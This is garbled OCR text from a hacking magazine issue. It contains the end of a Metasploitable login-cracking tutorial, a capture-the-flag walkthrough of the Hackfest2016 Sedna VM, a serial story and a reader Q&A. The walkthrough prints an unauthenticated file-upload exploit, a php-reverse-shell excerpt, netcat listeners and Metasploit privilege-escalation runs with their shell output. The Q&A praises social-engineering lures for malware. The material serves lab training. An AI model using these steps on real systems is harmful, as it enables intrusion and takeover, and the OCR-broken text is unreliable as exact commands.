Once all the options are set, run the mo-
dule as shown below.

mst auxiliary( ) > run

admin)
)30

gid=1008 (msfadmin) gr
dip),44(video),46(plug

{ adm Linux meta
sploitable 2.6.24-16-server #1 SMP 16 13:58:00 UTC 2008 1686 GNU/Linux '
[!] No active DB -- Credential data will not be saved

We have a successful login. Same as above,
we can use "sessions" command to view the

) > sessions

Connection

sfadmin (192.168.91.130:23)
91.130)
n (

sessions -i 3

msf auxiliary( ) =
[*] Starting interaction with 3

hello
/bin/sh
s

shell
shell.elf

line 1: hello: command not found

available sessions. We can also upgrade this
SSH shell to meterpreter just as we did in the
case of telnet.

That was about how to hack telnet, ftp
and SSH.

POINT TO BE NOTED
In present times, it's highly unlikely that
you will find telnet on most of the
systems. FTP and SSH can be found but
don't expect them to be with default
credentials or anonymous account
enabled on FTP. If you luckily find all three
services with easily found credentials,
you should be more careful than being
excited. It may be a honeypot to lure
hackers. Nowadays, the banners are also
rarely shown for any service. This is done
to reduce the attack vector and make it
K difficult to hackers. /
What We Achieved:
Using the details we gathered during
enumeration, we have hacked some
serrvices on the Metasploitable system.

We have also gained shell and
meterpreter session on the system.

‘Have any article request,\
query regarding hacking
and everything technical
related to hacking,
Send them to
ga@hackercool.com

Have any sales query like
placing ads or for any
other advertisement query,
or any other question
regarding sales,
Send them to
. sales@hackercool.com




HACKFEST 2016 : SEDNA

CAPTURE

THE FLAG

CTF contests or Capture the Flag contests
provide us a realistic and challenging scenari-
o to learn hacking.

In this issue, | decided to take up the cha
llenge of Hackfest2016 : Sedna. Its difficulty I-
evel was MEDIUM. After firing up the VM, the
first thing | did was verbose scan with Nmap.

:~# nmap -sV 192.168.91.134

Starting Nmap 7.25BETA2
Nmap scan report for 192
Host is up (0.00048s lat
Not shown: 989 closed po

STATE SERVICE
ssh

ps://nmap.o
91.134

rg ) at 2017-05-03 10:28 EDT

VERSION
open OpenSSH 6.6.1pl Ubuntu 2ubuntu2 (Ubuntu Linux; protoc
domain
http
pop3
rpcbind 2-4 (RPC #100000)
netbios-ssn Samba smbd 3.X -
imap Dovecot imapd
netbios-ssn Samba smbd 3.X -
Dovecot imapd

ISC BIND 9.9.5-3-Ubuntu
Apache httpd 2.4.7 ((Ubuntu))

open
open
open
ftcp open
open
3/tcp open
open
/tcp  open

4.X (workgroup: WORKGROUP)

4.X (workgroup: WORKGROUP)

ssl/imap
open ssl/pop3

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

2 services unrecognized despite returning data. If you know the service/version,

please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi

NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUAL
SF Port110-TCP:V=7.25BETA2%I=7%D=5/3%Time=5909E954%P=1686 -

The verbose scan revealed two banners open
SSH and Apache Tomcat, which | thought mig
-ht have vulnerabilities to exploit. After an ard-
uous search returned nothing, | scanned the

website with noisyboy Nikto.

rer: Apache/2.4.7 (Ubuntu)
+ Se inodes via ETags, header found with file /,
9bb5bc8
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user a
gent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent
to render the content of the site different fashion to the MIME type
+ No CGI Directories found (use '- 11' to force check all possible dirs)

txt" contains 1 entry which should be manually viewed.

fields: Ox65 0x537bO3

>thods: POST, dPTIOFJS, GET, HEAD

les/: Directory indexing found.
/files/: This might be interesting...
/system/: This might be interesting...
ons/README: Apache default file found.
+ 0SVDB-3092: /license
+ 7536 requests: 0
+ End Time:

+ 1 host{ tested

g

It returned nothing except some directory inde
-xing which it said might be interesting.

First | checked the robots.txt although
was not sure it would have any juicy info need
ed to me. It had the same entry the QUAOAR

© Firefox ESR «

License file found may identify site software.
(s) reported on remote host

Places =

Applications «

http://192.16...4/robots.txt ® | *
€ 192.168.91.134

[ Most Visited v [l Offensive Security & Kali Linux S Kali Docs i Kali Tools EBExploit-DB

User-Agent: *
Disallow: Hackers

VM had. Next | checked the directory named
files. The only interesting thing it had was a di
rectory named users.

Iindex of /files - Mozilla Firefox

Index of /files

Name Last modified Size Description
« Parent Directory
) be_demo, 2016-06-10 11:52
W blogimagejpg 2016-06-10 11:52 65K
) captchal 2016-06-10 11:52
N loading.gif 2016-06-10 11:52 36K
) users/ 2016-06-10 11:52

Apache/2 4.7 (Ubuntu) Server at 192.168.91.134 Port 80

When | tried to view the contents of the users
directory, it gave me a access forbidden mess
-age.

403 Forbidden - Moxzilla Firefox
403 Forbidder x L&
€ -
Most Visited v [fOtfensive Security \, Kal x W Ka NKall T ERExplot-DB W Alrcrack-ng

Directory access is forbidden

Another directory shown by nikto "system" als
-0 gave the same message.

403 Forbidden - Mozilla Fire!

Directory access is forbidden

After searching every nook and corner access
ible on the target and after checking vulnerbilit
y of each service and failing, | opened the lice
nse.txt file.

It was the license file of Builder engin-

Mozilla Firefox




| don't know what exactly builder engine is, bu
t seeing that this is the only one which can mo
ve forward, | searched for "builder engine" in
exploitdb database.

It gave me one result. The version 3.5.0
(the exact version present in our Sedna) is fra
ught with file upload vulnerability.

P T T —— W XYY
[ ———— eee0
. o -
. e
" AY ~ A (] .
EXPLOIT »
DATABASE

oit Database

| downloaded the exploit and had a look at it.
# Version: 3.5.0

# Tested on: Kali Linu
# Google Dork: intext:

2.0 64 bit
rEngine Ltd. All Right Reserved"

1) Unauthenticated Unrestricted File Upload:

POST /themes/dashboard/assets/plugins/jquery-file-upload/server/php/

Vulnerable Parameter: files[]

We can upload test.php and reach the file via the following link:
/files/test.php

</html>

:~/Downloads# []
Its time to run our exploit. | started the apache
web server inbuilt in Kali Linux and uploaded
the downloaded exploit to the web server as

shown below.

html# cp /root/Downloads/40390.php /var/www/html

html# service apache2 start
html#

If everything went right, our uploaded file sho-
uld look like below in our web server.

Mazilla Firefox

We can upload a file into the target server
using this script. Noramally uploaded file will
be a shell. Kali Linux has many web shells wh
-ich can be found in webshells directory.

Here | am gonna use php-reverse-shell
made by pentestmonkey. You can find it by us
ing command "locate php-reverse-shell" in

the terminal. Once you find it, open it with a te
xt editor. We need to make a small change in

the script. In order to get back the reverse she
ll, we need to give our KAli's IP address in the
script.

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuc

set_time_limit (0);
SVERSION = "1.8";]

$ip = '127.0.0.1'; // CHANGE THIS

$port = 1234; // CHANGE THIS
$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;

$debug = 0;

It will look like below after changing the IP ad-
dress. We can even change the port if we wa-
nt. But
wonkey. net/teols/php-reverse-shell 17 you get 5| KEEPIN
g it sa-
me is
not a
proble
m for
me. After saving the changes, upload the she-
Il into our exploit as shown below.

NGE

; CHANGE THIS
CHANGE THIS

Mozill

Index of ffiles/be_demo/.. % | http://localhost/40390.php x | +
€
[ Most Visited v Jll Offensive Security “ Kali Linux “ Kali Docs S Kali Tools EBExploit-DB Y Air

localhost

Browse... | php-reverse-shell.php send |

Before sending our php-reverse-shell to the
target, we need to start a netcat listener on th-
e same port we specified above. In our case,
port 1234.

:~# nc -lvp 1234
listening on [any] 1234

Now click on Send. We can see our uploaded
shell in the files directory of the remote web
server as shown below.

Index of /files - Mozilla Firefox
P +
* 21 1
Most Visited v [l Offensive Securty "\, Ka x W, Kal N, Kal [+ 3% LY
Index of /files
Name Last modified Size Description
2016-06-10 11:52
2016-06-10 11:52 65K
2016-06-10 11:52
2016-06-10 11:52 36K
ell php 2017-05-10 05:56 5.4K <::
2016-06-10 11:52
Apache/2.4.7 (Ubuntu) Server at 192.168.91.134 Port 80




When you execute the php-reverse-shell by cl
icking on it, we get a shell on our netcat listen
er as shown below.

:~# nc -lvp 1234
listening on [any] 1234 ...
192.168.91.134: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.134] 45208
Linux Sedna 3.13.08-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i
686 1686 GNU/Linux

05:57:41 up 2:42, 0 users, load average: 6.00, 0.04, 0.05

USER TTY FROM LOGIN@ IDLE JCPU  PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)

/’bin/sh: 0: can't access tty; job control turned off

$

| searched for the flags by using "locate" com-
mand and found my first flag in www folder.

$ locate flag.txt
/var/www/Tlag. txt

$ leafpad /var/www/flag.txt
/bin/sh: 27: leafpad: not found

$ cd /Svar/www
$ cat flag.txt
bfbb7ebebe88d9ac66848b%acacbbh289
$

After getting the first flag, the second flag nee
ds privilege escalation. | ran the privchecker
script to see the vectors of privilege escalatio-
n but it did not help much. After a lot of enume
ration | found two privilege escalation vectors.
The first one is dirtycow vulnerability
and second chrootkit. Dirtycow was always m
y favorite so | decided to go with it. | downloa-
ded the exploit and tried to run it but it gave m
-e lot of errors. | am not much a programming
expert so | decided to try the chrrotkit exploit.
While | was preparing the exploit, | got a
good news. Metasploit has added the builder
engine exploit to its arsenal. Why this is a goo
d news? Because Metasploit also has the chr-
ootkit exploit.
Load the exploit as shown below.

msf > use exploit/multi/http/builderengine upload exec
msf exploit( ) > show options

Module options (exploit/multi/http/builderengine upload exec):

Name Current Setting Required Description
Proxies
,type:host:port][...]
RHOST The target address
RPORT 80 The target port
SSL false Negotiate SSL/TLS for outgoing connecti
ons
TARGETURL /
VHOST

A proxy chain of format type:host:port[

The base path to BuilderEngine
HTTP server virtual host

Exploit target:

Id Name

0 BuilderEngine 3.5.80

| set the rhost, checked if the target is indeed
vulnerable and then ran the exploit. Hurrah, g
ot the meterpreter session.We can see that

msf exploit(

rhost => 192.168.91.134
msf exploit( ) > check

[*] 192.168.91.134:80 The target appears to be vulnerable.
msf exploit( ) > run

) > set rhost 192.168.91.134

[*] Started reverse TCP handler on 192.168.91.128:4444
[+] Our payload is at: ASnHsSHN.php. Calling payload...
[*] Calling payload..

[*] Sending stage (33721 bytes) to 192.168.91.134

[*] Meterpreter session 1 opened (192.168.91.128:4444
t 2017-05-29 13:30:25 -0400

[+] Deleted ASnHsSHN.php

-> 192.168.91.134:44034) &

meterpreter >

meterpreter > getuid

Server username: www-data (33)
meterpreter > i

we are running wi e privileges of a web
server user. Background the current session
and load the chrootkit module.

msf exploit(
session => 1
msf exploit( ) > run

Exploit completed, but no session was created.

) > set session 1

Started reverse TCP double handler on 192.168.91.128:4444
'] Rooting depends on the crontab (this could take a while)
f exploit( ) > [*] Payload written to /tmp/update

Waiting for chkrootkit to run via cron...
Accepted the first client connection.
Accepted the second client connection...

Command: echo nlvNgMnKf7Kr8p4R;
Writing to socket A
Writing to socket B
Reading from sockets...
Reading from socket A
A: "nlvNgMnKf7Kr8p4R\r\n"
Matching...
*] B is input...
Command shell session 2 opened (192.168.91.128:4444
at 2017-05-29 13:58:32 -0400
Deleted /tmp/update

-> 192.168.91.134:44036)

We successfully got a command shell on the
target. We can see the sessions available as
shown below.

msf exploit( ) > sessions

ctive sessions

Id Type Information Connection

1 meterpreter php/linux www-data (33) @ Sedna 192.168.91.128:4444 ->
68.91.134:44034 (192.168.91.134)

2 shell unix
68.91.134:44036 (192.168.91.134)

) > 11
We can interact with the root shell by
using command "sessions -i 2". The first thing
| do is check the current working directory. It
is root. This directory was inaccessible before
.We have the second flag In the root directory
itself.

192.1

192.168.91.128:4444 -> 192.1

msf exploit(

msf exploit( ) > sessions -1 2
[*] Starting interaction with 2...

2176002136
ThUZBVMMUYKIFcAQRLSNAjTLT LepBwls
true
YfyfztbJQjKiczhlsSERompkhHhOSYNn
VgZjuuFvBngbsofAzzEkzKfYPzvZuTaM
WrSIFyaZQtanInddpvQYrhwbIvnIumSt
1s

8d2daft441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip
chkrootkit

flag. txt

pwd

/root

1s
8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip
chkrootkit

flag. txt

cat flag.txt

al0828beel7db751de4b936614558305

Hence we have captured all flags in this VM.



DISAPPOINTED

HACKED - The Beginning

As days went by, | was being filled with frustration as | was not getting any job offers or calls.
The challenges posed by my First Assignment were still lingering in my mind. | was getting a
feeling that | am unfit for the job role of a penetration tester or for that matter any job in cyber
security.

| thought there is only one solution for this frustration. Paying a visit to the institute to wh
-ere | learnt hacking to enquire about my job they promised to provide. | first made a call to th
-e institute to enquire about the availability of the executive who promised a job to me.It seem
s he is forever unavailable. After making calls for a few days, | came to realise that may be th
-e executive was trying to avoid me. So | decided to make a surprise visit.

| figured out the best time would be 9 am to 12 pm when the first batch would be runnin
-g and there will be more chances of institute employees being there. The first one | encount-
ered was the receptionist. Even she said there were lots of jobs in this field and the institute
would definitely provide job assistance.

"Hi" | said. "Hi, How are you?" She replied with a smile. We had some basic courtesy ex
-changes and | brought up the matter of my job assistance. She said | should speak with SIR
but SIR was busy taking the class. So | should wait. Waiting was something | hated the most.
but as | already said beggars can't be choosers.

The receptionist got busy with a new person who came to enquire about the course. She
was making the same promises she made to me. The student seemed to be a new sheep to
me. Then | thought about the receptionist. How can she make such blatant promises which
will definitely fail.

After a arduous wait, the SIR came outside and immediately became busy with his pho
-ne. It appeared he was attending some important call. When he finally ended the call, | mad-
e my move. He went outside fast saying that he would return. That was really frustrating. But
it was my job. Sol had to wait. There was no other choice.

Finally he met me or maybe | should say | caught him. The pleasantries were short. | qu
-ickly enquired about the job. The SIR told me that he already informed a company with who-
m they had tie up about my job. He said they will soon have a opening and it is a matter of
some months | got a job. His answer not only seemed pre meditated but also more practised.
Maybe this is the answer he gives lot of students who finish their course in his institute.

Meanwhile he advised me to not waste my time and should upload my resume in jobse-
eker sites like Naukri, Monster, Shine etc. He once again affirmed there were lot of openings.
| was really disappointed with their answer. It almost shattered my dream of getting a job as a
hacker.

As | was returning home, | was angry on many things. | was angry on my fate which did
not allow me to complete my studies regularly. | was also angry on the institutes, their false
promises, the education system and especially SIR. He made the most false promises to me
regarding my job.

As | told what happened at the institute in my home, they criticised my decision to take
up this course which had no jobs. They once again advised me to undertake ABAP course w-
hich almost everyone was taking nowadays. | was so much disappointed that my mind didn't
work properly.

To Be continued



HACKING Q&A

Q: I am Installing a tool and it needs golan-
g to be installed. But | am having problems
installing golang in Kali Linux. Any help w-
ould be good? -Tweaker

A: Dear Tweaker, | see your question is trying
to hide many details. That's a good skill for a
hacker to have. Coming to the answer to your
question, the best guide to install golang in Li-
nux systems is this link given below.
https://www.tecmint.com/install-go-in-linux/

Q: | am Still having a problem installing K-
ali Linux in VirtualBox. | am confused whic
h file to download. | am totally new in this.
Please help me? -Many users.

A: To all the users who are facing problems i-
nstalling Kali Linux in Virtualbox. Go to the fol-
lowing link

https://www.kali.org/downloads/ and it should
look like below. We can install Kali Linux in Vi-

C kau]

Image Name tha2561um

rtualbox using two methods. First method is
where you download an iso file as shown abo
ve. If you use this method, you will have to in-
stall Guest additions yourself. Installing Kali in
Virtualbox using this meth od will be shown in
June 2017 issue.

Kali Linux also offers virtual images for
VirtualBox and Vmware. These can be found
on the same link as given above if you further
scroll down the "Downloads" page. If you inst-
all Kali Linux using the Kali Vbox image, you
don't have to install Guest Additions manually.

« C &

[KAL

Download Kali Linux VMware, VirtualBox and ARM images

OFFENSIVE

ght 64 bit VBox

ght 12 bit VBox

The process of installation using this virtual im
age is shown in Hackercoll Sep 2016 issue. It
is also available at the following link
http://hackercool.com/2013/09/how-to-install-
kali-linux-in-virtualbox-step-by-step-guide/

Q: Hi, This is a question regarding the arti-
cle in Metasploitable Tutorials section in
Jan 2017 issue. Everything worked as exp-
ected. However when | power down the vir
tual machines, and re-launch them, the set
tings applied, adding the IP addresses etc.
have not been saved and has reverted to t-
he start. Meaning everytime | want to do
this, i need to keep following this tutorial.
Is there any way to save all the settings an
d commands done, so i don’t have to keep
doing this? Thanks. -SAM

A: Sam, | am uanble to come up with a reaso-
n as to why it's happening to you. Did you foll-
ow the tutorial exactly? No problem though.
You can still have a workaround by using Hos
t-Only networking or Nat networking. By the
way, which version of Virtualbox are you tryin-
g this on.



Q: Hi. Read your "Real Time Hacking Scen
ario : Hacking My Friends" where you hac-
k some remote Windows systems. | have a
feeling the victim should be a stupid man
who will click on a virus to put his system
in danger. | read a lot of stuff like this. All
need weak systems an d a stupid user. Ha
ve you some stuff to use against a Very pr-
otected system - Epson007
A: Hi Epson007. Thanks for your frank opinio-
n. At the beginning of my career in Cyber sec-
urity, even | used to think exactly like you. As
time progressed, | learnt that hacking is never
about the target machine or the tools we are
using. It's in the mind. The hacking world has
coined a term for it "Social Engineering". It's
convincing the user to do what he will not do
normally.

You are right. The victim will not click on
a virus if we send it normally. But in my RTHS
I lured the user to click onour malicious file us
ing a ruse. Social engineering always works.
Many recent data breaches are a testimony to
this.
Q: When | try to install Kali in Virtualbox, |
get an error as shown below.
Failed to open a session for the virtual
machine Kali-Linux-2017.1-vbox-i686.
VT-x is disabled in the BIOS for all CPU
modes
(VERR_VMX_MSR_ALL_VMX_DISABLED).
Result Code: E_FAIL (0x80004005)
Component: ConsoleWrap
Interface: IConsole {872da645-4a9b-1727-
bee2-5585105b9%eed}
-Akshay.
A: Akshay, the problem is that in your host sys
tem VT-x is disabled. Boot into BIOS and
enable it. It will solve your problem.
Q: Hey Hackercool. Nice magazine. Learni-
ng a lot of new things. According to you,
which one is the best hacking distro, Kali
Linux or Parrot OS.- DAVID
A: Hi David, thanks for your compliment. You
put me a tough question. Seriously speaking
both have their pros. Kali Linux is the best up-
dated one and Parrot OS is the one which

also may give Kali Linux a tough challenge.
The tools included are almost same although
Parrot OS has more tools. But Kali Linux is th-
e most reliable OS for me.

Personally | ask you to test both and choo
se one which you find best.
Q : Hey helllo can you help me.l want to ha
-ck wifi wpa with bully and | dont know ho-
w is it done. So please make a article on
wifi hacking.-lsmail.
A:Coming soon.
Q: Really awesome Real Time Hacking Sce
nario of Hacking My Friends. Really inform
-ative. | really like the way how you explain
.- Sidh
A: Thanks for the compliment Sidh.
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